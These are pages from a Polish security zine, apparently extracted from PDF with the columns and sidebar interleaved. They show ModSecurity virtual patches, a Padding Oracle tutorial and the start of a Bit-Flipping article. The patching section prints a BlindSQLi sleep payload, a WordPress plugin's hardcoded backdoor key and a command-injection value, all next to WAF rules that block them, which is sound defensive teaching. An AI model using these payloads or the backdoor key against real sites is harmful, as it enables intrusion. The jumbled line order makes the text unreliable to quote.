»» ModSecurity AuditViewer – aplikacja JAVA do analizy audit log ModSecurity. Źródło: https://wpvulndb.com/vulnerabilities/7841. źródło informacji o aplikacjach
internetowych
6. Monitorowanie Atak
Ostatnia faza cyklu wirtualnej poprawki to nadzór. W ramach tej fazy należy Po wartości parametru orderby=post_date (sortowanie po dacie postu), ataku- Czym jest i jak wykorzystać
zaktualizować informacje w systemie śledzenia błędów, a w szczególności zgłosić jący jest w stanie przez dodanie znaku przecinka „ ,” (%2C w notacji URL) dołączyć podatność Relative Path
potrzebę załatania podatności w kodzie źródłowym. Po wprowadzeniu nowej, po- payload BlindSQLi, który zostanie przekazany do bazy danych. Overwrite/Path–Relative Style
prawionej wersji oprogramowania można wycofać wirtualną poprawkę z WAF lub Sheet Import (RPO/PRSSI)
&orderby=post_date%2C(select+*+from+(select(sleep(3)))a)
zachować ją w celu lepszej agregacji informacji bezpieczeństwa o próbach wyko-
rzystania tej podatności i przygotowania odpowiednich raportów na temat sku- Obrona Mechanizm HTTP Public Key
teczności działań obronnych – za pomocą procedury wirtualnego „patchowania”. Odpowiednia filtracja danych przekazywanych w parametrze orderby jest Pinning
w stanie powstrzymać wstrzyknięcie kodu i kontrolę nad zapytaniem bazodano-
WIRTUALNE POPRAWKI POD RÓŻNE PODATNOŚCI wym. W tym przykładzie zastosujemy transformacje: dekodowania znaków w nota-
Poniżej zostaną przedstawione scenariusze przygotowania wirtualnych popra- cji URL do filtrowania znaku przecinka oraz łańcuch reguł, aby jednoznacznie zloka-
wek dla podatnych aplikacji. lizować podatne miejsce w aplikacji.

25 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
Wirtualna poprawka

SecRule REQUEST_FILENAME "/admin.php" "phase:2, t:none, t:normalisePath,


t:lowercase, t:urlDecodeUni, chain, deny, log, id:1001"
SecRule ARGS_GET:orderby "," "t:urlDecode" Mechanizm Service Workers

Wszystko o CSP 2.0 – Content


Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
webowej

Ochrona podatnych aplikacji


webowych za pomocą wirtualnych
Rysunek 3. Fragment kodu klasy abmRemoteSupport z zaszytym „backdoorem” Atak RemoteKey. poprawek w ModSecurity
Źródło: https://wpvulndb.com/vulnerabilities/7934.

Atak Czym jest atak Padding Oracle


Atakujący po analizie kodu źródłowego plugina Premium SEO Pack 1.8.0, jest
w stanie przygotować zapytanie POST odwołujące się do zasobu plugins/premium- Czym jest Bit-Flipping
Rysunek 2. Powstrzymanie przez ModSecurity ataku BlindSQLi.
-seo-pack/modules/remote_support/remote_tunnel.php, podając w parametrze
Alternatywnie można zastosować podejście positive security, w którym tylko do- connection_key wartość 69efc4922575861f31125878597e97cf, a w pozostałych Bezpieczeństwo aplikacji
puszczone nazwy kolumn mogłyby być przekazane do zmiennej orderby i druga parametrach – przykładowe wartości przedstawione na poniższym zrzucie. webowych: podatności
w mechanizmach uploadu
część reguły wyglądałaby następująco:
SecRule ARGS_GET:orderby "!^((post_date)|(post_type)|(post_title)) "t:none" Ukryte katalogi i pliki jako
źródło informacji o aplikacjach
internetowych
Scenariusz #2
Podatność Czym jest i jak wykorzystać
Tylna furtka umożliwiająca upload PHP shell w pluginie Premium SEO Pack podatność Relative Path
1.8.0 do Wordpressa (disclosure: 24.04.2015). Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)
Lokalizacja podatności
Klasa abmRemoteSupport umożliwia udzielenie zdalnej pomocy klientom, jednak- Mechanizm HTTP Public Key
że wymagany do uwierzytelnienia „klucz serwisowy” jest na stałe zapisany w kodzie Pinning
źródłowym dodatku.

Rysunek 4. Umieszczenie PHP shell na serwerze przez ‘tylną furtkę” w oprogramowaniu.

26 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
Po przesłaniu takiego requestu POST atakujący umieścił własny skrypt typu PHP Scenariusz #3
shell, zakodowany w base64, i jest w stanie wykonywać zdalnie polecenia syste- Podatność
mu operacyjnego z prawami właściciela procesu serwera webowego (RCE – remote Aplikacja webowa jest podatna na wstrzyknięcie polecenia systemu operacyjne-
code execution). go, na którym jest uruchomiona – OS injection, brak jest odpowiedniego filtrowania Mechanizm Service Workers
danych wejściowych do aplikacji.
Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Lokalizacja podatności
strażnik bezpieczeństwa aplikacji
Podatność występuje w lokalizacji /webapp/analyse, a podatny jest parametr webowej
input w zapytaniu POST. Brak kodów źródłowych, kod napisany w języku Python
został skompilowany. Wartości parametru input są kodowane base64. Z analizy Ochrona podatnych aplikacji
aplikacji webowej wynika, że parametr ten do poprawnego działania aplikacji po- webowych za pomocą wirtualnych
winien przyjmować wyłącznie znaki alfanumeryczne do [a–z] lub [A–Z]. poprawek w ModSecurity

Atak Czym jest atak Padding Oracle


Atakujący za pomocą znaków kontrolnych wiersza poleceń w systemie LINUX
< ` & | > jest w stanie przekazać do aplikacji komendę, która zostanie wykonana Czym jest Bit-Flipping
Rysunek 5. PHP shell zakodowany w base64.
z prawami właściciela procesu serwera WWW. Podatność ta może posłużyć do
Obrona umieszczenia tylnej furtki lub eskalacji uprawnień do użytkownika uprzywilejowa- Bezpieczeństwo aplikacji
Ponieważ SEO niestety często ma znacznie wyższy priorytet biznesowy niż bez- nego, i w konsekwencji – pełnego przejęcia serwera. webowych: podatności
w mechanizmach uploadu
pieczeństwo, często również nie ma możliwości wycofania plugina lub zgody na
&input=c2VrdXJha1ppbmU=
modyfikację jego kodu. Rozwiązaniem pozostaje wirtualne załatanie przez blokadę base64decode(„c2VrdXJha1ppbmU=”) == sekurakZine
Ukryte katalogi i pliki jako
możliwości udzielenia „zdalnej pomocy” przez podmioty zewnętrzne. źródło informacji o aplikacjach
&input=c2VrdXJha1ppbmV8aWQ=
base64decode(„c2VrdXJha1ppbmV8aWQ=”) == sekurakZine|id internetowych
Wirtualna poprawka
Zastosowane zostanie podejście negative security – blokowane będą zapytania Obrona Czym jest i jak wykorzystać
POST do zasobu remote_tunnel.php zawierające ciąg znaków klucza serwisowego Po przeprowadzonym teście penetracyjnym stwierdzono występowanie opisa- podatność Relative Path
connection_key. Podejście to zapewni zgodność z zasadami, według których nie nej podatności. Aplikacja jest częścią systemu krytycznego i nie może być wyłączo- Overwrite/Path–Relative Style
może dojść zarówno do fałszywego alarmu, jak i fałszywego odrzucenia. na ani zaktualizowana bez odpowiednich testów poprawek kodu, co jednak może Sheet Import (RPO/PRSSI)
narazić aplikację na poważne w skutkach ataki typu RCE.
SecRule REQUEST_FILENAME "/remote_tunnel.php" "phase:2, t:none, t:normalisePath,
t:lowercase, t:urlDecodeUni, chain, deny, log, id:1002" Mechanizm HTTP Public Key
SecRule ARGS_POST:connection_key "69efc4922575861f31125878597e97cf" "t:none"
Wirtualna poprawka
Pinning
Fragment logu modsec_audit.log
--a1521748-H-- Zastosowane zostanie podejście positive security, zgodnie z którym ModSecu-
Message: Access denied with code 403 (phase 2). Pattern match
"69efc4922575861f31125878597e97cf" at ARGS_POST:connection_key. [file "/etc/ rity będzie dopuszczał wyłącznie znaki alfanumeryczne z ograniczonego zbioru, co
modsecurity/modsecurity_custom_rules.conf"] [line "4"] [id "1002"] nie pozwoli przekazać znaków umożliwiających wstrzyknięcie komend wiersza po-
Action: Intercepted (phase 2)
leceń LINUX. Jednak, z uwagi na kodowanie parametrów za pomocą base64, należy

27 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
wcześniej znormalizować zapytanie, do czego służy transformacja base64decode na
poziomie ModSecurity. Dopiero po odkodowaniu zapytania WAF analizuje, czy prze-
kazane w parametrze input dane są zgodne z białą lista dopuszczonych znaków.
SecRule REQUEST_URI "/webapp/analyse" "phase:2, t:none, t:normalisePath, t:lo- Mechanizm Service Workers
wercase, t:urlDecodeUni, chain, deny, log, id:1003" (rysunek 6).
Wszystko o CSP 2.0 – Content
SecRule ARGS_POST:input "!@rx ^[a-zA-Z]*$" "t:base64decode" Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
webowej
JAK ZOBRAZOWAĆ DANE Z LOGÓW: SPLUNK I MODSECURITY
Rysunek 6. Zablokowanie ataku OS command injection. Log ModSecurity modsec_audit.log to kopalnia wiedzy, jednak łatwo też popaść Ochrona podatnych aplikacji
w efekt przytłoczenia informacją. webowych za pomocą wirtualnych
Warto skorzystać z kilku rozwiązań, które pozwolą odfiltrować z tego logu nie- poprawek w ModSecurity
zbędne informacje o zdarzeniach bezpieczeństwa.
AuditViewer – aplikacja desktopowa (JAVA) do analizy logów, a także do ponow- Czym jest atak Padding Oracle
nego wysyłania zmodyfikowanych zapytań w celu testowania zbioru reguł (rysunek 7).
ModSecurity for Splunk – dodatek do Splunk prezentujący dane w formie ta- Czym jest Bit-Flipping
belarycznej i graficznej (rysunek 8).
Remo Rule editor – edytor reguł, projekt z 2007 (nierozwijany), rysunek 9. Bezpieczeństwo aplikacji
webowych: podatności
w mechanizmach uploadu

Ukryte katalogi i pliki jako


źródło informacji o aplikacjach
internetowych

Czym jest i jak wykorzystać


podatność Relative Path
Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)

Mechanizm HTTP Public Key


Pinning

Rysunek 7. Dane z logu modsec_audit.log zobrazowane w Audit Viewer.


Źródło: https://jwall.org/web/audit/viewer.jsp.

Rysunek 8. Aplikacja ModSecurity jako dodatek do Splunk. Źródło: https://splunkbase.splunk.com/app/880/.

28 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 

Mechanizm Service Workers

Wszystko o CSP 2.0 – Content


Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
webowej

Ochrona podatnych aplikacji


webowych za pomocą wirtualnych
poprawek w ModSecurity

Czym jest atak Padding Oracle

Czym jest Bit-Flipping

Bezpieczeństwo aplikacji
webowych: podatności
w mechanizmach uploadu
Rysunek 9. Edytor do budowy reguł ModSecurity.
Źródło: https://www.netnea.com/cms/remo-a-rule-editor-for-modsecurity/. Ukryte katalogi i pliki jako
źródło informacji o aplikacjach
PODSUMOWANIE internetowych
Stosowanie procedury wirtualnych poprawek buduje kolejną warstwę bezpieczeń-
stwa w podejściu „defense in depth”, która jest w stanie skutecznie powstrzymać atak na Czym jest i jak wykorzystać
infrastrukturę. Wirtualna łata umożliwia redukcję ryzyk związanych z exploitami typu podatność Relative Path
0-day. Za pomocą takich opensourcowych narzędzi jak ModSecurity, obrońcy są w stanie Overwrite/Path–Relative Style
realizować ochronę aplikacji o zamkniętym kodzie. Szczególnie warto rozważyć wdroże- Sheet Import (RPO/PRSSI)
nie w swoich organizacjach opracowanej przez OWASP procedury stosowania wirtual-
nych poprawek i wkomponować ją w cykl zarządzania bezpieczeństwem. Mechanizm HTTP Public Key
Pinning

Bartosz Jerzman. Admin, pentester z zacięciem na defensywne aspekty


bezpieczeństwa IT. Założyciel secman.pl

29 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski
 Początkujący  |  Średni  |  Zaawansowany   Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Czym jest atak Padding Oracle Wracając do przykładu ciągu znaków "Programista" – do pełnego bloku braku-
je 5 bajtów, stąd ten ciąg wraz z paddingiem, wygląda następująco: "Programista\
Padding Oracle to atak pozwalający na wyłuskanie tekstu jawnego z za- x05\x05\x05\x05". Co istotne, jeżeli zdarzy się, że ciąg znaków, który chcemy za-
szyfrowanych danych bez znajomości klucza szyfrującego, a także – bez szyfrować, jest już wielokrotnością wielkości bloku – należy wówczas dodać nowy Mechanizm Service Workers
konieczności wyszukiwania błędów w samym algorytmie szyfrującym. blok – zawierający wyłącznie padding. Na przykład "Programista 2016" wraz
Swego czasu, atak przeprowadzany był między innymi w celu złamania Wszystko o CSP 2.0 – Content
z paddingiem to: "Programista 2016\x10\x10\x10\x10\x10\x10\x10\x10\
mechanizmu sesji w ASP.NET, a to z kolei pozwalało na przejęcie upraw- Security Policy jako uniwersalny
nień dowolnego użytkownika. Innym, świeższym przykładem, jest opi- x10\x10\x10\x10\x10\x10\x10\x10" Wynika to z faktu, iż algorytm deszyfru-
strażnik bezpieczeństwa aplikacji
sany w 2014 roku atak POODLE, czyli Padding Oracle On Downgraded jący oczekuje, że na końcu szyfrowanej wiadomości znajdzie się jakiś padding. Brak
webowej
Legacy Encryption, skutkujący zaleceniem niestosowania SSLv3. W tym dodatkowego bloku z samym paddingiem wywołałby błąd podczas deszyfrowania.
artykule omówimy, czym jest Padding Oracle, oraz przedstawimy sche- Ochrona podatnych aplikacji
mat ataku wraz z metodami obrony. SPOSOBY ŁĄCZENIA BLOKÓW ZASZYFROWANYCH webowych za pomocą wirtualnych
Kolejny problemem, z którym musimy się zmierzyć, chcąc używać algorytmów poprawek w ModSecurity
Zacznijmy jednak od podstaw. Najpopularniejsze obecnie algorytmy szyfrujące, ta- szyfrujących, jest sposób łączenia bloków. Najprostszym sposobem szyfrowania da-
kie jak AES czy 3DES, działają, bazując na blokach o stałych wielkościach. Na przy- nych większych niż 16 bajtów, byłoby podzielenie ich na bloki o długości 16 baj- Czym jest atak Padding Oracle
kład: AES jest zdefiniowany do szyfrowania bloków o wielkości 128 bitów (16 baj- tów każdy i szyfrowanie każdego z nich osobno. Taki tryb pracy znany jest jako ECB
tów). Oznacza to, że jeżeli chcemy zaszyfrować dane o dowolnej wielkości, musimy (ang. Electronic CodeBook, rysunek 1). Czym jest Bit-Flipping
zadbać o to, by do funkcji szyfrującej przekazać je w postaci 16-bajtowych bloków.
Pojawiają się zatem zasadnicze pytania: Bezpieczeństwo aplikacji
»» Co zrobić, gdy mamy dane krótsze niż 16 bajtów? W jaki sposób wypełnić pozo- webowych: podatności
w mechanizmach uploadu
stałe bajty?
»» Co zrobić, gdy mamy dane większe niż 16 bajtów? W jaki sposób podzielić je na
Ukryte katalogi i pliki jako
bloki? W jaki sposób szyfrować poszczególne bloki?
źródło informacji o aplikacjach
internetowych
Odpowiedzi na te pytania zamieszczam w dalszej części artykułu. Zapraszam do
lektury Czym jest i jak wykorzystać
podatność Relative Path
PADDING – PKCS#7 Overwrite/Path–Relative Style
Zacznijmy od ustalenia, co zrobić z danymi niebędącymi wielokrotnością wielkości Sheet Import (RPO/PRSSI)
Rysunek 1. Sposób działania szyfrowania ECB (źródło: Wikipedia).
bloku danego algorytmu. Na potrzeby przykładów założymy, że będziemy używać
algorytmu AES, więc bloki będą miały 16 bajtów i chcemy zaszyfrować ciąg znaków Mechanizm HTTP Public Key
"Programista". Ponieważ mamy tylko 11 znaków, musimy czymś wypełnić pozosta- Zaletą tego trybu pracy jest jego wydajność – szyfrowanie każdego bloku jest nie- Pinning
łe 5 znaków, by móc użyć AES-a. Innymi słowy – musimy użyć paddingu. Najczęściej zależne, co pozwala na łatwe zrównoleglenie zarówno procesu szyfrowania, jak
używanym schematem paddingu jest standard PKCS#7, zdefiniowany w RFC 5652. Al- i deszyfrowania. Istotną wadą jest jednak fakt, że dla pewnych typów danych łatwo
gorytm jest prosty – polega bowiem na tym, aby do szyfrowanego ciągu znaków do- dostrzec wzorce, co sprawia, że szyfrowanie staje się nieefektywne. Najsłynniejszym
pisać bajty, których wartość jest równa liczbie brakujących bajtów do wielkości bloku. na to przykładem jest szyfrowanie bitmapy przedstawiającej linuksowego pingwina

31 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Czym jest atak Padding Oracle

sekurak.pl /  offline 
(rysunek 2). Pomimo użycia silnego algorytmu szyfrującego dla poszczególnych blo-
ków, wynik końcowy ewidentnie wskazuje, jaki obraz został zaszyfrowany (rysunek 3).

Mechanizm Service Workers

Wszystko o CSP 2.0 – Content


Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
webowej

Ochrona podatnych aplikacji


Rysunek 4. Deszyfrowanie danych CBC (źródło: Wikipedia). webowych za pomocą wirtualnych
poprawek w ModSecurity
W CBC szyfrogram każdego bloku jest zależny od poprzedniego. Aby zaszyfrować
dane danego bloku, musimy najpierw wykonać operację XOR na tekście jawnym Czym jest atak Padding Oracle
Rysunek 2. Tux przed szyfrowaniem (autor obrazka: lewing@isc.tamu.edu). danego bloku oraz szyfrogramu poprzedniego bloku. Z kolei w przypadku deszy-
fracji – najpierw deszyfrujemy dane, używając algorytmu szyfrującego, a na wyniku Czym jest Bit-Flipping
tej operacji przeprowadzamy XOR z tekstem jawnym poprzedniego bloku. Specjal-
nym przypadkiem jest pierwszy blok, dla którego nie można przeprowadzić XOR- Bezpieczeństwo aplikacji
-a z poprzednim blokiem. Zamiast tego, używa się tzw. wektora inicjalizacyjnego webowych: podatności
w mechanizmach uploadu
(IV – Initialization Vector). Dzięki takiemu sposobowi łączenia bloków, zmiana choćby
jednego bajtu w tekście jawnym (zakładając, że używamy odpowiedniego algoryt-
Ukryte katalogi i pliki jako
mu szyfrującego) wpływa na zmianę wszystkich kolejnych bloków w szyfrogramie.
źródło informacji o aplikacjach
internetowych
PADDING ORACLE
Czym jest i jak wykorzystać
Okazuje się, że sposób działania CBC pozwala na specyficzny dla tego trybu atak, czyli podatność Relative Path
Padding Oracle. Aby można było taki atak wykonać, muszą być spełnione dwa warunki: Overwrite/Path–Relative Style
Rysunek 3. Tux zaszyfrowany w trybie ECB (autor obrazka: lewing@isc.tamu.edu). Sheet Import (RPO/PRSSI)
1. aplikacja musi pozwalać użytkownikowi na podanie własnego szyfrogramu,
2. aplikacja musi w jakiś sposób sygnalizować błędy paddingu.
Demaskuje to najistotniejszą wadę ECB – te same bloki danych tworzą ten sam szy- Mechanizm HTTP Public Key
frogram. W danych binarnych często może to być strumień null-bajtów. Warunek pierwszy można spełnić dość łatwo – np. w aplikacjach webowych, często Pinning
Aby rozwiązać ten problem, powstało wiele innych sposobów łączenia szyfrowa- szyfrowane są wartości ciasteczek bądź niektórych parametrów GET/POST. Drugi
nych bloków danych. Najpopularniejszym z nich (a zarazem tym, w którym pojawia warunek także często może być spełniony, jeżeli w aplikacji jest włączone wyświe-
się Padding Oracle) jest CBC (ang. Cipher Block Chaining). Na rysunku 4 przedstawio- tlanie wyjątków. Praktycznie każda technologia, w której udostępniono metody do
ny jest schemat deszyfrowania danych w CBC. szyfrowania CBC, zasygnalizuje błąd (wyjątek), jeżeli po deszyfracji danych zostanie

32 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Czym jest atak Padding Oracle

sekurak.pl /  offline 
wykryty błąd paddingu. Błąd ten pojawia się, gdy padding nie jest zgodny z oczeki- »» 'abcdabcdabcdabc\x00'
wanym. Na przykład, we wcześniejszym przykładzie mieliśmy paddingowany ciąg »» 'abcdabcdabcdabc\x01'
znaków "Programista\x05\x05\x05\x05\x05". Gdyby w wyniku deszyfro- »» 'abcdabcdabcdabc\x02'
wania danych, aplikacja otrzymała ciąg np. "Programista\x05\x05\x05\x05\ »» itp. … Mechanizm Service Workers
x04", wyświetliłaby błąd o niepoprawnym paddingu.
Treść błędu zależy od konkretnej technologii, np. w .NET zobaczymy błąd „Pad- Okazuje się, że dla C’[i-1]='abcdabcdabcdabcf' nie otrzymamy błędu paddingu. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
ding is invalid and cannot be removed”, zaś w Javie będzie to po prostu„Bad padding”. Zastanówmy się teraz, jakie możemy wyciągnąć z tego wnioski?
strażnik bezpieczeństwa aplikacji
Otóż błąd paddingu na pewno nie pojawi się, gdy P’[i][15]="\x01" ponie-
webowej
Podsumowując: jeżeli w aplikacji będziemy w stanie wpływać na dane, które będą deszy- waż jest to jednobajtowy padding, a więc pojedyncza wartość "\x01" jest dla nie-
frowane oraz aplikacja w wyraźny sposób zasygnalizuje błąd paddingu, będziemy w stanie
przeprowadzić atak Padding Oracle. go poprawna (co ciekawe, pewne implementacje akceptują także padding "\x00", Ochrona podatnych aplikacji
np. hurlant – biblioteka kryptograficzna dla ActionScript). Idąc dalej – jeśli zmody- webowych za pomocą wirtualnych
fikujemy nasz wzór w taki sposób, by odnieść go tylko do ostatniego bajtu bloku, poprawek w ModSecurity
Gdy spojrzymy ponownie na rysunek 4, możemy zauważyć, że tekst jawny każdego mamy: P’[i][15] = C’[i-1][15] ^ D(C[i])[15].
bloku zależy de facto od dwóch elementów: wyniku funkcji deszyfrującej dla tego Zauważmy, że w równaniu składającym się z trzech elementów – wartości dwóch Czym jest atak Padding Oracle
bloku oraz szyfrogramu bloku poprzedniego. z nich znamy! Możemy więc obliczyć ostatni składnik wg wzoru:
Przyjmijmy następujące oznaczenia: Czym jest Bit-Flipping
D(C[i])[15] = P’[i][15] ^ C’[i-1][15]
»» C[i] – szyfrogram i-tego bloku (ciphertext), D(C[i])[15] = "\x01 ^ "f"
D(C[i])[15] = "g" (0x67) Bezpieczeństwo aplikacji
»» P[i] – tekst jawny i-tego bloku (plaintext),
»» D() – funkcja deszyfrująca pojedynczy blok, webowych: podatności
w mechanizmach uploadu
»» ^ – operacja XOR. Voilà! Wiemy, jaki jest ostatni bajt wychodzący z funkcji deszyfrującej. Uzbrojeni w tę
wiedzę, wracamy do oryginalnej wartości ostatniego bajtu bloku C[i-1] – a więc
Ukryte katalogi i pliki jako
Z diagramu wprost wynika, że P[i] = C[i-1] ^ D(C[i]). Zauważamy, że nad "d". Wracamy do pierwotnego wzoru: źródło informacji o aplikacjach
szyfrogramami mamy kontrolę, a więc możemy wpłynąć na C[i-1], co w konse- internetowych
P[i][15] = C[i-1][15] ^ D(C[i])[15]
kwencji pozwala wpłynąć na P[i]. Oczywiście zwykle nie wiemy, jaka jest wartość P[i][15] = "d" ^ "g"
P[i][15] = "\x03"
P[i] oraz co wychodzi z D(C[i]), jednak dzięki odpowiedniej analizie błędów Czym jest i jak wykorzystać
paddingu będziemy w stanie to zrobić. podatność Relative Path
W pierwszej kolejności, będziemy chcieli tak ustawić wartość C[i-1], aby w wy- W ten sposób udało nam się zdeszyfrować oryginalną wartość ostatniego bajtu bloku! Overwrite/Path–Relative Style
niku działania algorytmu deszyfrującego nie został zwrócony błąd paddingu. W tym Jest to "\x03", co wskazuje na to, że w bloku jest trzybajtowy padding. Spróbu- Sheet Import (RPO/PRSSI)
celu, będziemy zmieniać wartość ostatniego bajtu tego bloku na kolejne bajty od jemy to potwierdzić, deszyfrując przedostatni bajt bloku.
"\x00" do "\xff" z pominięciem oryginalnego bajtu C[i-1][15]. W pierwszym kroku staraliśmy się znaleźć taką wartość ostatniego bajtu Mechanizm HTTP Public Key
Na potrzeby przykładu załóżmy, że: C[i-1], dla której P’[i-1][15]="\x01". W drugim kroku natomiast, będzie- Pinning
»» C[i-1] = "abcdabcdabcdabcd" my się starali wymusić dwubajtowy padding, a więc spełnione będą następują-
»» C[i] = 'Ob\xec\x1b\x18Ug5\x08\xa9\xc4\x9d\xec\x13R\x9d' ce warunki:
»» P’[i][15] = "\x02"
Zaczynamy więc od prób wpisywania kolejnych bajtów na ostatniej pozycji w C[i-1]. »» P’[i][14] = "\x02"

33 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Czym jest atak Padding Oracle

sekurak.pl /  offline 
Wykorzystując wiedzę z poprzedniego kroku, jesteśmy już w stanie ustalić takie METODY OCHRONY
C’[i-1][15], by otrzymać oczekiwany P’[i][15]. Mianowicie: Zobaczyliśmy, w jaki sposób używanie trybu CBC do szyfrowania i wyświetlania
błędów paddingu może pozwolić na deszyfrację danych – bez znajomości klucza
C’[i-1][15] = P’[i][15] ^ D(C[i])[15]
C’[i-1][15] = "\x02" ^ "g" szyfrującego. Mechanizm Service Workers
C’[i-1][15] = "e"
Jak się zatem obronić przed tego typu atakami?
Przede wszystkim należy zadbać o to, aby aplikacja nie wyświetlała wyjątków Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Z kolei, aby ustalić wartość C’[i-1][14], będziemy musieli robić to samo, co po- wskazujących wyraźnie na błędy w paddingu. Ujawnianie tego typu informacji zna-
strażnik bezpieczeństwa aplikacji
przednio, a mianowicie – próbować wszystkich możliwych wartości oprócz orygi- cząco ułatwia przeprowadzanie ataków. Należy jednak pamiętać, że nawet jeśli błąd
webowej
nalnej, czyli kolejno: nie jest wprost wyświetlany, w pewnych sytuacjach można wywnioskować, że taki
»» C’[i-1] = 'abcdabcdabcdab\x00e' błąd wystąpił (np. serwer odpowiada kodem 500). Ochrona podatnych aplikacji
»» C’[i-1] = 'abcdabcdabcdab\x01e' Z tego powodu zalecaną metodą ochrony jest dodawanie kodu MAC razem webowych za pomocą wirtualnych
»» itd. … z zaszyfrowanymi wiadomościami. Można w tym celu użyć funkcji HMAC-SHA256. poprawek w ModSecurity
Przed przystąpieniem do deszyfrowania danych sprawdzamy najpierw, czy klucz
Tym razem okaże się, że błędu paddingu nie otrzymamy dla "abcdabcdabcdab- HMAC-SHA256 pasuje do danych. Jeżeli nie – natychmiast odrzucamy żądanie. Czym jest atak Padding Oracle
be". Powtarzamy więc kroki z wyciągania ostatniego bajtu: Dzięki temu, przeprowadzenie ataku nie będzie możliwe, bowiem niemożliwym bę-
dzie wygenerowanie poprawnego klucza. Czym jest Bit-Flipping
D(C[i])[14] = P’[i][14] ^ C’[i-1][14]
D(C[i])[14] = "\x02" ^ "b"
D(C[i])[14] = "`"
PODSUMOWANIE Bezpieczeństwo aplikacji
Padding Oracle to atak, który dotyczy danych szyfrowanych w trybie CBC. Ze webowych: podatności
w mechanizmach uploadu
Wiemy już, jaki wynik dała funkcja deszyfrująca na przedostatnim bajcie, spróbujmy względu na specyficzne właściwości tego trybu, jak i najpopularniejszego schema-
więc ustalić wartość tekstu jawnego dla tego bajtu: tu paddingu, możliwe jest deszyfrowanie danych niezależnie od tego, jak silny jest
Ukryte katalogi i pliki jako
algorytm szyfrujący. źródło informacji o aplikacjach
P[i][14] = C[i-1][14] ^ D(C[i])[14]
P[i][14] = "c" ^ "`" Zalecaną metodą zabezpieczenia się przed takim atakiem, jest dodawanie klu- internetowych
P[i][14] = "\x03"
cza HMAC do szyfrowanych danych – i sprawdzanie go przed przystąpieniem do
deszyfracji. Czym jest i jak wykorzystać
Potwierdziliśmy więc, że przedostatnim bajtem jest w istocie "\x03". Wyciąganie podatność Relative Path
kolejnych bajtów odbywa się w analogiczny sposób: Overwrite/Path–Relative Style
1. chcąc wyciągnąć bajt trzeci od końca, musimy tak ustalić trzy ostatnie bajty, by Linki: Sheet Import (RPO/PRSSI)
padding wynosił "\x03\x03\x03", [1]: RFC 5652, definicja PKCS#7, http://tools.ietf.org/html/rfc5652#section-6.3
2. chcąc wyciągnąć bajt czwarty od końca, musimy tak ustalić cztery ostatnie bajty, Mechanizm HTTP Public Key
by padding wynosił "\x04\x04\x04\x04" itd. Pinning

Michał Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeństwa


Chętnych do przećwiczenia Padding Oracle zapraszam do wykonania trzeciego za- w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
dania dostępnego pod tym adresem: https://rozwal.to/zadanie/20. uczestniczy w znanych programach bug bounty.

34 f  PODZIEL SIĘ ZINEM


t f
Marcin Bury
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Czym jest Bit-Flipping Pierwszym etapem deszyfrowania jest rozbicie szyfrogramu na bloki i wydziele-
nie bloku IV.
Bit-Flipping jest popularnym atakiem na blokowe algorytmy szyfrowa- Blok jest deszyfrowany za pomocą klucza, a następnie poddawany procesowi
xorowania z poprzednim blokiem szyfrogramu lub w przypadku bloku pierwszego Mechanizm Service Workers
nia w trybie CBC (ang. Cipher Block Chaining), wiązania bloków zaszy-
frowanych. W wielu przypadkach prowadzi do przejęcia kont innych z wartością IV (Initialization Vector).
Wszystko o CSP 2.0 – Content
użytkowników (często administracyjnych), a w skrajnych przypadkach
Security Policy jako uniwersalny
– nawet do zdalnego wykonywania kodu. INTEGRALNOŚĆ CBC
strażnik bezpieczeństwa aplikacji
Szyfrowanie CBC nie dostarcza żadnego mechanizmu, który dbałby o integralność webowej
Ponieważ Bit Flipping to atak skierowany na szyfrowanie blokowe w trybie CBC, danych, co sprawia, że modyfikując szyfrogram, wpływamy na wynikowy tekst jawny.
możemy dzięki niemu – bez znajomości klucza szyfrującego – zmodyfikować tekst Ochrona podatnych aplikacji
jawny będący wynikiem procesu deszyfrowania. webowych za pomocą wirtualnych
poprawek w ModSecurity
TRYB CBC
Wyjaśniając mechanizm przeprowadzenia ataku Bit-Flipping, w pierwszej kolej- Czym jest atak Padding Oracle
ności musimy wytłumaczyć, w jaki sposób działa deszyfrowanie w trybie CBC.
Czym jest Bit-Flipping

Bezpieczeństwo aplikacji
webowych: podatności
Rysunek 2. Schemat procesu deszyfrowania: zaznaczono ostatni bajt bloku.
w mechanizmach uploadu
Przejdźmy więc do prostego przykładu szyfrowania tekstu „Sekurak Party” za po-
Ukryte katalogi i pliki jako
mocą algorytmu AES w trybie CBC. źródło informacji o aplikacjach
1. Do tekstu dodawany jest padding „Sekurak Party\x03\x03\x03” (w naszym wy- internetowych
padku PKCS #7 – można o tym więcej przeczytać w artykule Michała Bentkow-
Rysunek 1. Schemat procesu deszyfrowania w trybie CBC (Wikipedia).
skiego na temat padding Oracle, str. 31–34), Czym jest i jak wykorzystać
2. Generowany jest 16-bajtowy Initialization Vector (IV), podatność Relative Path
Szyfrogram składa się z bloków o stałej długości (8, 16 lub 32 bajtów), w naszym 3. Tekst jawny jest xorowany z IV i szyfrowany przy użyciu klucza szyfrującego, Overwrite/Path–Relative Style
